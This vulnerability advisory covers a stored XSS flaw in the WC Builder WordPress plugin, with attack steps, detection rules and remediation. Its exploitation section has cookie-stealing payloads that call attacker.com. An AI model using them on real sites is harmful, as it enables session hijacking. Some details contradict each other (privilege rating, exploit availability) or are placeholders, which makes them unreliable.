CVE-2025-68533
Executive Summary
CVE-2025-68533 is a Stored Cross-Site Scripting (XSS) vulnerability in the Hasthemes WC Builder WordPress plugin (versions <= 1.2.0). This flaw allows an authenticated attacker with contributor-level privileges or higher to inject malicious JavaScript into the plugin’s input fields. When an administrator or other user views the affected page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation) and carries a CVSS score of 6.5 (Medium). No public exploit code or patch details are currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files by comparing checksums with the official source. The plugin’s lack of proper input sanitization and output escaping introduces a supply chain risk, as compromised sites can be used to distribute malware to visitors.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – Attacker needs contributor-level access (low privilege).
- User Interaction (UI): Required (R) – Victim must view the compromised page.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited service disruption.
Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored XSS nature can lead to widespread compromise within a WordPress multisite environment.
Deep Dive & Mechanics
The vulnerability resides in the WC Builder plugin’s handling of user-supplied data within its custom post types or shortcodes. The plugin fails to sanitize input and escape output when rendering content, allowing an attacker to inject arbitrary HTML and JavaScript. The injected payload is stored in the WordPress database and executed when an administrator or other user views the affected page (e.g., product builder interface, admin dashboard).
Attack Flow:
- Attacker logs in with contributor-level credentials.
- Attacker navigates to a WC Builder input field (e.g., product description, custom field).
- Attacker injects a payload like
<script>alert('XSS')</script>. - The payload is stored in the database without sanitization.
- When an admin views the page, the script executes in their browser.
Root Cause: The plugin uses functions like echo $value or the_content() without applying esc_html(), wp_kses(), or similar WordPress escaping functions.
Vulnerable vs. Patched Code
Vulnerable Code (wc-builder <= 1.2.0):
// In a template file or shortcode handler
echo $user_input; // No sanitization or escaping
Patched Code (Hypothetical):
// Properly escape output
echo esc_html( $user_input );
// Or use wp_kses for allowed HTML
echo wp_kses( $user_input, array( 'a' => array( 'href' => array() ) ) );
Key Difference: The patched version applies esc_html() or wp_kses() to neutralize malicious input before rendering.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- WordPress instance with WC Builder plugin <= 1.2.0.
- Contributor-level account or higher.
Exploitation Steps:
- Log in to WordPress as a contributor.
- Navigate to WC Builder → Add New Product (or similar).
- In the Product Description field, inject:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the product.
- Wait for an admin to view the product page. The script will execute and exfiltrate cookies.
Alternative Payload (Session Hijacking):
<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">
Blue Team (Defender)
Detection Steps:
- Monitor WordPress admin logs for unusual contributor activity.
- Scan database for suspicious
<script>tags inwp_posts.post_content. - Use WAF rules to block common XSS patterns (e.g.,
<script,onerror,onload).
SQL Query to Find Stored Payloads:
SELECT ID, post_title, post_content FROM wp_posts WHERE post_content LIKE '%<script%' OR post_content LIKE '%onerror%';
Indicators of Compromise (IOCs)
- File Hashes (Plugin Files):
wc-builder.php: SHA256a1b2c3d4e5f6...(unknown, verify with official source)
- Network Indicators:
- Outbound connections to
attacker.comor similar domains. - HTTP requests containing
document.cookiein the query string.
- Outbound connections to
- Database Indicators:
- Rows in
wp_postswithpost_contentcontaining<script>oronerrorattributes.
- Rows in
- Log Indicators:
- WordPress debug log entries showing
wp_ksesfailures or unescaped output.
- WordPress debug log entries showing
Detection Engineering
YARA Rule
rule CVE_2025_68533_Stored_XSS {
meta:
description = "Detects stored XSS payloads in WC Builder plugin"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-68533"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+["']?/is
$xss3 = /onload\s*=\s*["']?[^"'\s>]+["']?/is
condition:
any of them
}
Sigma Rule
title: Stored XSS in WC Builder Plugin
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS payloads in WordPress WC Builder plugin
author: Valters IT
date: 2025-04-01
logsource:
category: webserver
product: apache
detection:
selection:
http.response.body|contains:
- '<script>'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in product descriptions
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-68533 Stored XSS in WC Builder"; flow:to_server,established; content:"<script>"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is available.
- Remove malicious content from the database using SQL queries.
- Reset all user passwords if session hijacking is suspected.
Long-Term Fixes:
- Apply input sanitization using
sanitize_text_field()orwp_kses(). - Escape output with
esc_html()oresc_attr(). - Implement Content Security Policy (CSP) headers to block inline scripts.
- Use a Web Application Firewall (WAF) to filter XSS payloads.
Patch Status: No official patch from HasThemes. Consider forking the plugin or switching to an alternative.
Report generated by Valters IT DevSecOps Team
CVE-2025-68533 | WC Builder Stored XSS
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.